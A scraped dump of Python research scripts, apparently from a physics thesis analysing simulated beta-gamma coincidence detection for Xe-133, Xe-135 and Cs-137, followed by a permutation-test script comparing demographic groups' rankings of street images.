# 1D histogram plot over gamma
# #-----------------------------------
# print( min(c[:,0]))
# plt.hist(eDep_gamma, bins=100, label="All detected gamma")
# plt.hist(c[:,0], bins=100, label="gamma in coincidence")
# plt.legend()
# plt.title("Histogram over the gamma")
# plt.xlabel("Energy [MeV]")
# plt.ylabel("Counts")
# plt.xlim(0)
# plt.ylim(0)
# plt.show()
##############
# 3D:
# -------------
# fig = plt.figure()
# ax = fig.add_subplot(111, projection='3d')
# x = c[:,0]
# y = c[:,1]
# z = c[:,2]
# k = np.random.standard_normal(len(c[:,0]))
# img = ax.scatter(x, y, z, c=k, cmap="Greys")
# fig.colorbar(img)
# ax.set_xlabel('gamma')
# ax.set_ylabel('CE')
# ax.set_zlabel('Beta')
# plt.show()<file_sep>/data/BetaSpectrum/create_Xe135_macrofile.py
# import numpy as np
# import matplotlib.pyplot as plt
# File from Github:
with open('XE135_beta_spectrum.txt') as f:
values = []
for line in f:
rad = line.strip("\n").split(" ")
en_rad =[]
for tal in rad:
en_rad.append( tal )
values.append(en_rad)
values.pop() # Remove the last empty line
# To get float numbers instead of strings
h = []
for row in values:
r = []
for nr in row:
t = float(nr)
r.append(t)
h.append(r)
# Separate into two arrays
x = []
y = []
for i in range(len(h)):
x.append(h[i][0])
y.append(h[i][1])
# print( sum(y) )
x_string = [] # Energy
y_string = [] # Probability
for i in range(len(x)):
x_string.append( str( x[i] / 1000 ) ) # / 1000 to get energy in MeV
y_string.append( str( y[i] / sum(y) ) )
# print(sum(y_string))
# Copy the text from the 'Xe133_macrofile.txt'
# to a microfile to get the correct histogram
fil = open('Xe135_macrofile.txt', 'w')
for i in range(len(x_string)):
L = ["/gps/hist/point ", x_string[i], " ", y_string[i], "\n"]
fil.writelines(L)
fil.close()
<file_sep>/data/Xe135/result_xe135_dualRun1.py
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits import mplot3d
from numpy.lib.function_base import average
# Opens the corresponding files, Run5 has 10 000 events
eDep_file_t0 = np.genfromtxt('xe135_dualRun1_t0.csv', delimiter=',')
eDep_file_t1 = np.genfromtxt('xe135_dualRun1_t1.csv', delimiter=',')
# From files to array:
eDep = []
for rad in eDep_file_t0:
a_row = []
for tal in rad:
a_row.append(tal)
eDep.append(a_row)
for rad in eDep_file_t1:
a_row = []
for tal in rad:
a_row.append(tal)
eDep.append(a_row)
# To calculate when the number of events converges
nr_events = 0
nr_coinc = 0
nr_array = []
# Create a triple coincidence arrays
coincidence = []
for rad in eDep:
nr_events += 1
"""gamma:[1] = 31.6 +- 5 keV --> 0.0266 & 0.0366 MeV,
beta:[11] > 0"""
a_row = []
t = []
if ((0.0266 <= rad[1] <= 0.0366) and rad[7] > 0):
a_row.append(rad[1])
a_row.append(rad[7])
coincidence.append(a_row)
nr_coinc += 1
t.append(nr_events)
t.append(nr_coinc)
nr_array.append(t)
c = np.array(coincidence)
# Getting all the beta, gamma and CE energies:
eDep_beta = []
eDep_gamma = []
for rad in eDep:
if (0.0266 <= rad[1] <= 0.0366):
eDep_gamma.append(rad[1])
if (rad[7] > 0):
eDep_beta.append(rad[7])
# Get the correct values for the beta distribution:
with open('XE135_beta_spectrum.txt') as f:
values = []
for line in f:
rad = line.strip("\n").split(" ")
en_rad =[]
for tal in rad:
en_rad.append( tal )
values.append(en_rad)
values.pop() # Remove the last empty line
# Create a array with float insted of strings
h = []
for row in values:
r = []
for nr in row:
r.append( float(nr) )
h.append(r)
x = [] # energy
y = [] # probability, not normalized
for i in range(len(h)):
x.append(h[i][0] / 1000 ) # To get the energy in MeV
y.append(h[i][1])
# Need to normalize y:
y_norm = (np.array(y) / sum(y) ) * len(eDep) # len(eDep) = nr of events
print("Total number if particles generated: ", len(eDep) )
print("......................... GAMMA ...............................")
print("Total nr of gamma particles detected: ", len(eDep_gamma),
"\n which gives the %: ", len(eDep_gamma) / len(eDep))
print("Nr of gamma particles detected in coincidence: ", len(c[:,0]),
"\n which gives the %: ", len(c[:,0]) / len(eDep))
print("% that are detected that are in coincidence ", len(c[:,0]) / len(eDep_gamma) )
print("...............................................................")
print("-------------------------- BETA --------------------------")
print("Total nr of beta particles detected: ", len(eDep_beta),
"\n which gives the %: ", len(eDep_beta) / len(eDep))
print("Nr of beta particles detected in coincidence: ", len(c[:,1]),
"\n which gives the %: ", len(c[:,1]) / len(eDep))
print("% that are detected that are in coincidence: ", len(c[:,1]) / len(eDep_beta) )
print("----------------------------------------------------------")
# print(coincidence) # [[1,2,3],[4,5,6], ] skriver ut alla rader
# print(c) #[[1 2 3 ] Skriver bara ut tre i början och dom tre sista
#[4 5 6]]
print("% for dualRun1 Xe135:", (len(c) / len(eDep)) * 100 )
coin_procent = (len(c) / len(eDep)) * 100
print("% of coincidence for tripleRun1 xe135:", coin_procent )
p = []
for i in range(len(nr_array)):
p.append( (nr_array[i][1] / nr_array[i][0]) * 100 ) # 'nr of coinc' / 'nr of events'
print("with the standard deviation: ", np.std(p) )
####################################################
# Number of events that is needed util it converges:
#---------------------------------------------------
# print(np.array(procent_coinc))
# p = []
# for i in range(len(procent_coinc)):
# p.append( (procent_coinc[i][1] / procent_coinc[i][0])*100 )
# x = np.arange(1,len(procent_coinc)+1, 1)
# plt.plot(x, p)
# plt.xlabel("Number of events")
# plt.ylabel("% of coincidence")
# plt.xlim(0,15000)
# plt.show()
######################################################
######################################################
# 2D coincidence histogram over beta and gamma energy:
# ----------------------------------------------------
# plt.hist2d(c[:,1], c[:,0], bins=50, density=False, cmap="Greys")
# plt.ylabel(r'$E_\gamma$ [MeV]')
# plt.xlabel(r'$E_\beta$ [MeV]')
# plt.title("Coincidence histogram over \n the gamma and beta energies")
# plt.ylim(0, 0.1)
# plt.xlim(0, 0.346)
# plt.colorbar()
# plt.savefig("plot_beta_gamma_coin_dualRun1_xe135.png")
# plt.show()
######################################################
######################################################
# 2D coincidence histogram over conversion and gamma energy:
# ----------------------------------------------------
# plt.hist2d(c[:,1], c[:,0], bins=50, density=False, cmap="Greys")
# plt.ylabel(r'$E_\gamma$ [MeV]')
# plt.xlabel(r'$E_{CE}$ [MeV]')
# plt.title("Coincidence histogram over \n the gamma and CE energies")
# # plt.ylim(0, 0.1)
# plt.xlim(0, 0.06)
# plt.colorbar()
# plt.show()
# ######################################################
######################################################
# 2D coincidence histogram over beta and CE energy:
# ----------------------------------------------------
# plt.hist2d(c[:,2], c[:,1], bins=50, density=False, cmap="Greys")
# plt.xlabel(r'$E_\beta$ [MeV]')
# plt.ylabel(r'$E_{CE}$ [MeV]')
# plt.title("Coincidence histogram over \n the beta and CE energies")
# plt.ylim(0, 0.05)
# plt.xlim(0, 0.346)
# plt.colorbar()
# plt.show()
######################################################
#######################################################################
# 1D histogram plot over Beta energy together with the 'correct' values
# #--------------------------------------------------------------------
# #Plot
# plt.plot(x,y_norm, label="True")
# plt.hist(eDep_beta, bins=320, label="All beta from simulation")
# plt.hist(c[:,1], bins=320, label="From simulation in coincidence")
# plt.xlabel("Energy [MeV]")
# plt.ylabel("Counts")
# plt.title("Energy distribution for the beta particle of Xe-135")
# plt.legend()
# plt.xlim(0,0.920)
# plt.savefig("plot_BetaEnergy_dualRun1_xe135.png")
# plt.show()
#######################################################################
# # ####################################
# # 1D histogram plot over CE
# # #-----------------------------------
# # print( max(eDep_CE))
# plt.hist(eDep_CE, bins=100, label="All detected CE")
# plt.hist(c[:,1], bins=100, label="CE in coincidence")
# plt.legend()
# plt.title("Histogram over the conversion electron")
# plt.xlabel("Energy [MeV]")
# plt.ylabel("Counts")
# plt.xlim(0, 0.05)
# plt.ylim(0)
# plt.show()
# ####################################
# 1D histogram plot over gamma
# #-----------------------------------
# print( min(c[:,0]))
# plt.hist(eDep_gamma, bins=100, label="All detected gamma")
# plt.hist(c[:,0], bins=100, label="gamma in coincidence")
# plt.legend()
# plt.title("Histogram over the conversion electron")
# plt.xlabel("Energy [MeV]")
# plt.ylabel("Counts")
# plt.xlim(0)
# plt.ylim(0)
# plt.show()
##############
# 3D:
# -------------
# fig = plt.figure()
# ax = fig.add_subplot(111, projection='3d')
# x = c[:,0]
# y = c[:,1]
# z = c[:,2]
# k = np.random.standard_normal(len(c[:,0]))
# img = ax.scatter(x, y, z, c=k, cmap="Greys")
# fig.colorbar(img)
# ax.set_xlabel('gamma')
# ax.set_ylabel('CE')
# ax.set_zlabel('Beta')
# plt.show()<file_sep>/data/Cesium/cesiumRun1_coincidence.py
import numpy as np
import matplotlib.pyplot as plt
eDep_file_t0 = np.genfromtxt('cesiumRun1_t0.csv', delimiter=',')
eDep_file_t1 = np.genfromtxt('cesiumRun1_t1.csv', delimiter=',')
eDep = []
for rad in eDep_file_t0:
a_row = []
for tal in rad:
a_row.append(tal)
eDep.append(a_row)
for rad in eDep_file_t1:
a_row = []
for tal in rad:
a_row.append(tal)
eDep.append(a_row)
# ej_c = np.array(eDep)
coincidence = []
for rad in eDep:
coin_rad = []
if ( rad[1] != 0 and rad[3] != 0):
coin_rad.append(rad[1])
coin_rad.append(rad[3])
coincidence.append(coin_rad)
c = np.array(coincidence)
plt.hist2d(c[:,1], c[:,0], bins=50, density=False, cmap="Greys")
plt.ylabel(r'$E_\gamma$' " [MeV]")
plt.xlabel(r'$E_\beta$' " [MeV]")
plt.title(r'$\beta-\gamma$'" coincidence spectra for "r'$^{137}Cs$')
plt.xlim(0, 0.7)
plt.ylim(0, 0.7)
plt.colorbar()
plt.savefig("cesiumRun1_plot_coin.png")
plt.show()<file_sep>/data/Xe133/result_xe133_tripleRun4.py
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits import mplot3d
from numpy.lib.function_base import average
import pandas as pd
import seaborn as sns
# Opens the corresponding files, Run5 has 10 000 events
eDep_file_t0 = np.genfromtxt('xe133_tripleRun4_t0.csv', delimiter=',')
eDep_file_t1 = np.genfromtxt('xe133_tripleRun4_t1.csv', delimiter=',')
# From files to array:
eDep = []
for rad in eDep_file_t0:
a_row = []
for tal in rad:
a_row.append(tal)
eDep.append(a_row)
for rad in eDep_file_t1:
a_row = []
for tal in rad:
a_row.append(tal)
eDep.append(a_row)
# To calculate when the number of events converges
nr_events = 0
nr_coinc = 0
nr_array = []
# Create a triple coincidence arrays
coincidence = []
# Creating a coincidence array for beta- and CE-energies for when gamma = 31.6 keV
coin_CEbeta = []
# Creating a beta_3 array for the beta energy when all 3 particle is deposit energy > 0
beta_3 = []
for rad in eDep:
nr_events += 1
"""gamma:[1] = 31.6 +- 5 keV --> 0.0266 & 0.0366 MeV,
conversion electron:[7] = 45 +- 5 keV --> 0.04 & 0.05,
beta:[11] > 0"""
a_row = []
t = []
if ( (rad[1] > 0) and (rad[7] > 0) and (rad[11] > 0) ): # All particle gets detected
# if ( (0.0266 <= rad[1] <= 0.0366) and (0.04 <= rad[7] <= 0.5) and (rad[11] > 0) ):
a_row.append(rad[1])
a_row.append(rad[7])
a_row.append(rad[11])
coincidence.append(a_row)
nr_coinc += 1
a = []
if (rad[1] == 0.0316): # getting the values when beta en CE are in coincidence
a.append(rad[7])
a.append(rad[11])
coin_CEbeta.append(a)
if ( (rad[1] > 0) and (rad[7] > 0) and (rad[11] > 0) ): # All particle gets detected
beta_3.append(rad[11])
t.append(nr_events)
t.append(nr_coinc)
nr_array.append(t)
c = np.array(coincidence)
# Getting all the beta, gamma and CE energies in the given intervall
eDep_beta = []
eDep_gamma = []
eDep_CE = []
eDep_CEbeta = []
for rad in eDep:
if (0.0266 <= rad[1] <= 0.0366):
eDep_gamma.append(rad[1])
if (0.04 <= rad[7] <= 0.5):
eDep_CE.append(rad[7])
if (rad[11] > 0):
eDep_beta.append(rad[11])
a = []
if (rad[1] == 0.0316): # getting all the values for beta and CE when gamma = 31.6 keV
a.append(rad[7])
a.append(rad[11])
eDep_CEbeta.append(a)
# Get the correct values for the beta distribution:
with open('XE133_beta_spectrum.txt') as f:
values = []
for line in f:
rad = line.strip("\n").split(" ")
en_rad =[]
for tal in rad:
en_rad.append( tal )
values.append(en_rad)
values.pop() # Remove the last empty line
# Create a array with float insted of strings
h = []
for row in values:
r = []
for nr in row:
r.append( float(nr) )
h.append(r)
x = [] # energy
y = [] # probability, not normalized
for i in range(len(h)):
x.append(h[i][0] / 1000 ) # To get the energy in MeV
y.append(h[i][1])
# Need to normalize y:
y_norm = (np.array(y) / sum(y) ) * len(eDep) # len(eDep) = nr of events
print("Total number if particles generated: ", len(eDep) )
print("......................... GAMMA ...............................")
print("Total nr of gamma particles detected: ", len(eDep_gamma),
"\n which gives the %: ", len(eDep_gamma) / len(eDep))
print("Nr of gamma particles detected in coincidence: ", len(c[:,0]),
"\n which gives the %: ", len(c[:,0]) / len(eDep))
print("% that are detected that are in coincidence ", len(c[:,0]) / len(eDep_gamma) )
print("...............................................................")
print("-------------------------- BETA --------------------------")
print("Total nr of beta particles detected: ", len(eDep_beta),
"\n which gives the %: ", len(eDep_beta) / len(eDep))
print("Nr of beta particles detected in coincidence: ", len(c[:,2]),
"\n which gives the %: ", len(c[:,2]) / len(eDep))
print("% that are detected that are in coincidence: ", len(c[:,2]) / len(eDep_beta) )
print("----------------------------------------------------------")
print("************************** CE ****************************")
print("Total nr of CE particles detected: ", len(eDep_CE),
"\n which gives the %: ", len(eDep_CE) / len(eDep))
print("Nr of CE particles detected in coincidence: ", len(c[:,1]),
"\n which gives the %: ", len(c[:,1]) / len(eDep))
print("% that are detected that are in coincidence: ", len(c[:,1]) / len(eDep_CE) )
print("**********************************************************")
# print(coincidence) # [[1,2,3],[4,5,6], ] skriver ut alla rader
# print(c) #[[1 2 3 ] Skriver bara ut tre i början och dom tre sista
#[4 5 6]]
coin_procent = (len(c) / len(eDep)) * 100
print("% of coincidence for tripleRun4 xe133:", coin_procent )
####################################################
# Number of events that is needed util it converges:
#---------------------------------------------------
p = []
for i in range(len(nr_array)):
p.append( (nr_array[i][1] / nr_array[i][0]) * 100 ) # 'nr of coinc' / 'nr of events'
print("with the standard deviation: ", np.std(p) )
std = [1]
everyNth = 1000
for i in range(len(p)):
if ( i > 0 and i%everyNth == 0): # To only calc the std of 'everyNth' value
std.append( np.std( p[0:i] ) )
x = np.arange(1,len(nr_array)+1, 1)
xPlot = x[0::everyNth]
pPlot = p[0::everyNth]
plt.errorbar(xPlot, pPlot, yerr=std )
plt.xlabel("Number of events")
plt.ylabel("% of three detected particles")
plt.title(" Events needed to get the detection \n rate of three particles to converge")
plt.savefig("plot_convergesAll_tripleRun4_xe133.png")
plt.show()
# # Zoomed in:
# plt.errorbar(xPlot, pPlot, yerr=std )
# plt.xlabel("Number of events")
# plt.ylabel("% of coincidence")
# plt.title("Events needed to get coincidence rate to converges")
# plt.xlim(len(eDep)-100001, len(eDep))
# plt.ylim(coin_procent-3*np.std(p), coin_procent+3*np.std(p))
# plt.savefig("plot_convergesZoom_tripleRun4_xe133.png")
# plt.show()
######################################################
######################################################
# 2D coincidence histogram over beta and gamma energy:
# ----------------------------------------------------
# plt.hist2d(c[:,2], c[:,0], bins=50, density=False, cmap="Greys")
# plt.ylabel(r'$E_\gamma$ [MeV]')
# plt.xlabel(r'$E_\beta$ [MeV]')
# plt.title("Coincidence histogram over \n the gamma and beta energies")
# plt.ylim(0, 0.1)
# plt.xlim(0, 0.346)
# plt.colorbar()
# plt.savefig("plot_beta_gamma_coin_tripleRun.png")
# plt.show()
######################################################
######################################################
# 2D coincidence histogram over conversion and gamma energy:
# ----------------------------------------------------
# plt.hist2d(c[:,1], c[:,0], bins=50, density=False, cmap="Greys")
# plt.ylabel(r'$E_\gamma$ [MeV]')
# plt.xlabel(r'$E_{CE}$ [MeV]')
# plt.title("Coincidence histogram over \n the gamma and CE energies")
# # plt.ylim(0, 0.1)
# plt.xlim(0, 0.06)
# plt.colorbar()
# plt.show()
# ######################################################
######################################################
# 2D coincidence histogram over beta and CE energy:
# ----------------------------------------------------
# plt.hist2d(c[:,2], c[:,1], bins=50, density=False, cmap="Greys")
# plt.xlabel(r'$E_\beta$ [MeV]')
# plt.ylabel(r'$E_{CE}$ [MeV]')
# plt.title("Coincidence histogram over \n the beta and CE energies")
# plt.ylim(0, 0.05)
# plt.xlim(0, 0.346)
# plt.colorbar()
# plt.show()
######################################################
#######################################################################
# 1D histogram plot over Beta energy together with the 'correct' values
# #--------------------------------------------------------------------
# Plot
# plt.plot(x,y_norm, label="True", color="black")
# plt.hist(eDep_beta, bins=130, label="All beta from simulation", color="#4575b4")
# plt.hist(beta_3, bins=130, label="Beta when three particles \n\
# are detected", color="#d73027")
# plt.hist(c[:,2], bins=130, label="From simulation in \n\
# triple coincidence", color="#ffffbf")
# plt.xlabel("Energy [MeV]")
# plt.ylabel("Counts")
# plt.title("Energy distribution for the beta particle of Xe-133")
# plt.legend()
# plt.xlim(0,0.346)
# plt.savefig("plot_BetaEnergy_tripleRun4_xe133.png")
# plt.show()
#######################################################################
# ####################################
# 1D histogram plot over gamma
# #-----------------------------------
# print( min(c[:,0]))
# plt.hist(eDep_gamma, bins=100, label="All detected gamma")
# plt.hist(c[:,0], bins=100, label="gamma in coincidence")
# plt.legend()
# plt.title("Histogram over the gamma")
# plt.xlabel("Energy [MeV]")
# plt.ylabel("Counts")
# plt.xlim(0)
# plt.ylim(0)
# plt.show()
##############
# 3D:
# # -------------
# data = pd.DataFrame(coin_CEbeta, columns=['CE energy [MeV]','Beta energy [MeV]'])
# print(data)
# for col in data:
# plt.hist(data[col], density=True, alpha=0.5)
# with sns.axes_style('white'):
# sns.jointplot("CE energy [MeV]", "Beta energy [MeV]", data, kind='kde', cbar=True)
# plt.savefig("plot_CEbeta_histo_xe133.png")
# plt.show()
# fig = plt.figure()
# ax = fig.add_subplot(111, projection='3d')
# c_betaCE = np.array(coin_betaCE)
# x = c_betaCE[:,0] #CE
# y = c_betaCE[:,1] #beta
# plt.hist2d(x, y, bins=100)
# plt.colorbar()
# plt.xlabel("CE")
# plt.ylabel("beta")
# plt.show()
# hist , _ ,_ = np.histogram2d(x, y, bins=100)
# fig = plt.figure()
# ax = fig.add_subplot(projection='3d')
# ax.bar3d(x,y,z)
# z =
# z = c[:,2]
# k = np.random.standard_normal(len(c[:,0]))
# img = ax.scatter(x, y, cmap="Greys")
# fig.colorbar(img)
# ax.set_xlabel('gamma')
# ax.set_ylabel('CE')
# ax.set_zlabel('Beta')
# plt.show()
|
9e6c133ff440426d16c21699e2176fd185d12d6d
|
[
"Python",
"Makefile"
] | 8 |
Makefile
|
MarielleAkser/Master_thesis
|
ee415c2af23b60094d573d53641624656a547953
|
1e8c0596d2b7ba7f9667e9ec94eb208bf1f88ffd
|
refs/heads/master
|
<file_sep>import pandas as pd
import numpy as np
def abs_mean(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
return np.abs(argsrt_1 - argsrt_2).mean()
def abs_median(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
return np.median(np.abs(argsrt_1 - argsrt_2))
def top10_abs_mean_naza(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
abs_diff = np.abs(argsrt_1 - argsrt_2)
top_10_1 = abs_diff[argsrt_1[-10:]]
top_10_2 = abs_diff[argsrt_2[-10:]]
result = (top_10_1.mean() + top_10_2.mean()) / 2
return result
def top10_abs_mean_old(data1, data2):
argsrt_1 = data1.argsort()
argsrt_2 = data2.argsort()
abs_diff = np.abs(argsrt_1 - argsrt_2)
top = abs_diff.argsort()[-10:]
return abs_diff[top].mean()
def ptest(df, name_g1, name_g2, pergunta, bairro=None, setor=None, num_permut=100000):
df = df[df.values[:, 1] == pergunta]
if bairro is not None:
df = df[df['bairro'] == bairro]
if setor is not None:
df = df[df['setor'] == int(setor)]
g1 = df[df['grupo'] == name_g1].values[:, 2]
g2 = df[df['grupo'] == name_g2].values[:, 2]
all_ = np.hstack((g1, g2))
n_g1 = len(g1)
n_g2 = len(g2)
n_all = len(all_)
functions = [
('Mean', abs_mean),
('Median', abs_median),
('Top10-Mean-Old', top10_abs_mean_old),
('Top10-Mean-Naza', top10_abs_mean_naza)]
actual = np.zeros(len(functions))
for i in xrange(len(functions)):
actual[i] = functions[i][1](g1, g2)
P = np.tile(np.arange(n_all), num_permut).reshape(num_permut, n_all)
P = np.apply_along_axis(np.random.permutation, 1, P)
R = np.zeros(shape=(P.shape[0], len(functions)))
permut_array = np.zeros(P.shape[0], dtype='f')
for i in xrange(P.shape[0]):
permut = P[i]
new_data = all_[permut]
new_g1 = new_data[:n_g1]
new_g2 = new_data[n_g1:]
for j in xrange(len(functions)):
R[i][j] = functions[j][1](new_g1, new_g2)
pvals = []
for i in xrange(len(functions)):
pvals.append(float((R[:, i] > actual[i]).sum()) / R.shape[0])
return (name_g1, name_g2, pergunta), actual, np.array(pvals), functions
def ptestFromFiles(num_it, name_g1, name_g2, question, neig=None, sector=None):
questionsMap = {'agradavel?' : 'agrad%C3%A1vel?', 'seguro?' : 'seguro?'}
#Original data file
dfOrig = pd.read_csv('geralSetoresAJ.dat', sep=' ', encoding='utf8')
dfOrig = dfOrig.drop(['red', 'green', 'blue', 'hor', 'vert', 'diag'], axis=1)
dfOrig = dfOrig[dfOrig.values[:, 1] == question]
if neig is not None:
dfOrig = dfOrig[dfOrig['bairro'] == neig]
if sector is not None:
dfOrig = dfOrig[dfOrig['setor'] == int(sector)]
g1 = dfOrig[dfOrig['grupo'] == name_g1].values[:, 2]
g2 = dfOrig[dfOrig['grupo'] == name_g2].values[:, 2]#Input files are sorted according to image names, so the order of QScores retrieved is paired for both groups
functions = [
('Mean', abs_mean),
('Median', abs_median),
('Top10-Mean-Old', top10_abs_mean_old),
('Top10-Mean-Naza', top10_abs_mean_naza)]
actual = np.zeros(len(functions))
for i in xrange(len(functions)):
actual[i] = functions[i][1](g1, g2)
R = np.zeros(shape=(num_it, len(functions)))
#Sampled users files
newQuestion = questionsMap[question]
for it in xrange(1, num_it+1):
df = pd.read_csv('samplesIds/geralSetoresAJ_'+str(it)+'.dat', sep=' ', encoding='utf8')
df = df[df.values[:, 1] == newQuestion]
if neig is not None:
df = df[df['bairro'] == neig]
if sector is not None:
df = df[df['setor'] == int(sector)]
g1 = df[df['grupo'] == name_g1].values[:, 2]
g2 = df[df['grupo'] == name_g2].values[:, 2]
for j in xrange(len(functions)):
R[it-1][j] = functions[j][1](g1, g2)
pvals = []
for i in xrange(len(functions)):
pvals.append(float((R[:, i] > actual[i]).sum()) / R.shape[0])
return (name_g1, name_g2, question), actual, np.array(pvals), functions
#Using sample users files
num_it = 5
all_res = []
all_res.append(ptestFromFiles(num_it, 'Masculino', 'Feminino', 'agradavel?'))
all_res.append(ptestFromFiles(num_it, 'Masculino', 'Feminino', 'seguro?'))
all_res.append(ptestFromFiles(num_it, 'Jovem', 'Adulto', 'agradavel?'))
all_res.append(ptestFromFiles(num_it, 'Jovem', 'Adulto', 'seguro?'))
all_res.append(ptestFromFiles(num_it, 'Solteiro', 'Casado', 'agradavel?'))
all_res.append(ptestFromFiles(num_it, 'Solteiro', 'Casado', 'seguro?'))
all_res.append(ptestFromFiles(num_it, 'Baixa', 'Media', 'agradavel?'))
all_res.append(ptestFromFiles(num_it, 'Baixa', 'Media', 'seguro?'))
all_res.append(ptestFromFiles(num_it, 'Medio', 'Pos', 'agradavel?'))
all_res.append(ptestFromFiles(num_it, 'Medio', 'Pos', 'seguro?'))
print ">>>> General: "
for r in all_res:
print r[0]
for i, f in enumerate(r[-1]):
print f[0], r[1][i]
print 'pval', r[2][i]
print
print '--'
for neig in ['catole', 'centro', 'liberdade']:
all_res = []
all_res.append(ptestFromFiles(num_it, 'Masculino', 'Feminino', 'agradavel?', neig=neig))
all_res.append(ptestFromFiles(num_it, 'Masculino', 'Feminino', 'seguro?', neig=neig))
all_res.append(ptestFromFiles(num_it, 'Jovem', 'Adulto', 'agradavel?', neig=neig))
all_res.append(ptestFromFiles(num_it, 'Jovem', 'Adulto', 'seguro?', neig=neig))
all_res.append(ptestFromFiles(num_it, 'Solteiro', 'Casado', 'agradavel?', neig=neig))
all_res.append(ptestFromFiles(num_it, 'Solteiro', 'Casado', 'seguro?', neig=neig))
all_res.append(ptestFromFiles(num_it, 'Baixa', 'Media', 'agradavel?', neig=neig))
all_res.append(ptestFromFiles(num_it, 'Baixa', 'Media', 'seguro?', neig=neig))
all_res.append(ptestFromFiles(num_it, 'Medio', 'Pos', 'agradavel?', neig=neig))
all_res.append(ptestFromFiles(num_it, 'Medio', 'Pos', 'seguro?', neig=neig))
#Files not created with these columns!
#if neig == 'catole':
# all_res.append(ptestFromFiles(num_it, 'CCatole', 'NCCatole', 'agradavel?', neig=neig))
# all_res.append(ptestFromFiles(num_it, 'CCatole', 'NCCatole', 'seguro?', neig=neig))
# elif neig == 'centro':
# all_res.append(ptestFromFiles(num_it, 'CCentro', 'NCCentro', 'agradavel?', neig=neig))
# all_res.append(ptestFromFiles(num_it, 'CCentro', 'NCCentro', 'seguro?', neig=neig))
# else:
# all_res.append(ptestFromFiles(num_it, 'CLiberdade', 'NCLiberdade', 'agradavel?', neig=neig))
# all_res.append(ptestFromFiles(num_it, 'CLiberdade', 'NCLiberdade', 'seguro?', neig=neig))
#all_res.append(ptestFromFiles(num_it, 'MenorMed', 'MaiorMed', 'agradavel?', neig=neig))
#all_res.append(ptestFromFiles(num_it, 'MenorMed', 'MaiorMed', 'seguro?', neig=neig))
print ">>>> Neighborhoods: ", neig
for r in all_res:
print r[0]
for i, f in enumerate(r[-1]):
print f[0], r[1][i]
print 'pval', r[2][i]
print
print '--'
for sector in ['25040090500004', '250400905000013', '250400905000060', '250400905000062', '250400905000095', '250400905000089']:
all_res = []
all_res.append(ptestFromFiles(num_it, 'Masculino', 'Feminino', 'agradavel?', sector=sector))
all_res.append(ptestFromFiles(num_it, 'Masculino', 'Feminino', 'seguro?', sector=sector))
all_res.append(ptestFromFiles(num_it, 'Jovem', 'Adulto', 'agradavel?', sector=sector))
all_res.append(ptestFromFiles(num_it, 'Jovem', 'Adulto', 'seguro?', sector=sector))
all_res.append(ptestFromFiles(num_it, 'Solteiro', 'Casado', 'agradavel?', sector=sector))
all_res.append(ptestFromFiles(num_it, 'Solteiro', 'Casado', 'seguro?', sector=sector))
all_res.append(ptestFromFiles(num_it, 'Baixa', 'Media', 'agradavel?', sector=sector))
all_res.append(ptestFromFiles(num_it, 'Baixa', 'Media', 'seguro?', sector=sector))
all_res.append(ptestFromFiles(num_it, 'Medio', 'Pos', 'agradavel?', sector=sector))
all_res.append(ptestFromFiles(num_it, 'Medio', 'Pos', 'seguro?', sector=sector))
#Files not created with these columns!
#if sector == '250400905000060' or sector == '250400905000062':
# all_res.append(ptestFromFiles(num_it, 'CCatole', 'NCCatole', 'agradavel?', sector=sector))
# all_res.append(ptestFromFiles(num_it, 'CCatole', 'NCCatole', 'seguro?', sector=sector))
#elif sector == '25040090500004' or sector == '250400905000013':
# all_res.append(ptestFromFiles(num_it, 'CCentro', 'NCCentro', 'agradavel?', sector=sector))
# all_res.append(ptestFromFiles(num_it, 'CCentro', 'NCCentro', 'seguro?', sector=sector))
#else:
# all_res.append(ptestFromFiles(num_it, 'CLiberdade', 'NCLiberdade', 'agradavel?', sector=sector))
# all_res.append(ptestFromFiles(num_it, 'CLiberdade', 'NCLiberdade', 'seguro?', sector=sector))
#all_res.append(ptestFromFiles(num_it, 'MenorMed', 'MaiorMed', 'agradavel?', sector=sector))
#all_res.append(ptestFromFiles(num_it, 'MenorMed', 'MaiorMed', 'agradavel?', sector=sector))
print ">>>> Sector: ", sector
for r in all_res:
print r[0]
for i, f in enumerate(r[-1]):
print f[0], r[1][i]
print 'pval', r[2][i]
print
print '--'
#sampling qscores from single file
#df = pd.read_csv('geralRankAJ.dat', sep=' ', encoding='utf8')
#df = df.drop(['red', 'green', 'blue', 'hor', 'vert', 'diag'], axis=1)
#
#all_res = []
#
#all_res.append(ptest(df, 'Masculino', 'Feminino', 'agradavel?'))
#all_res.append(ptest(df, 'Masculino', 'Feminino', 'seguro?'))
#
#all_res.append(ptest(df, 'Jovem', 'Adulto', 'agradavel?'))
#all_res.append(ptest(df, 'Jovem', 'Adulto', 'seguro?'))
#
#all_res.append(ptest(df, 'Solteiro', 'Casado', 'agradavel?'))
#all_res.append(ptest(df, 'Solteiro', 'Casado', 'seguro?'))
#
#all_res.append(ptest(df, 'Baixa', 'Media', 'agradavel?'))
#all_res.append(ptest(df, 'Baixa', 'Media', 'seguro?'))
#
#all_res.append(ptest(df, 'Medio', 'Pos', 'agradavel?'))
#all_res.append(ptest(df, 'Medio', 'Pos', 'seguro?'))
#for bairro in ['catole', 'centro', 'liberdade']:
# all_res = []
#
# all_res.append(ptest(df, 'Masculino', 'Feminino', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'Masculino', 'Feminino', 'seguro?', bairro=bairro))
#
# all_res.append(ptest(df, 'Jovem', 'Adulto', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'Jovem', 'Adulto', 'seguro?', bairro=bairro))
#
# all_res.append(ptest(df, 'Solteiro', 'Casado', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'Solteiro', 'Casado', 'seguro?', bairro=bairro))
#
# all_res.append(ptest(df, 'Baixa', 'Media', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'Baixa', 'Media', 'seguro?', bairro=bairro))
#
# all_res.append(ptest(df, 'Medio', 'Pos', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'Medio', 'Pos', 'seguro?', bairro=bairro))
#
# if bairro == 'catole':
# all_res.append(ptest(df, 'CCatole', 'NCCatole', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'CCatole', 'NCCatole', 'seguro?', bairro=bairro))
# elif bairro == 'centro':
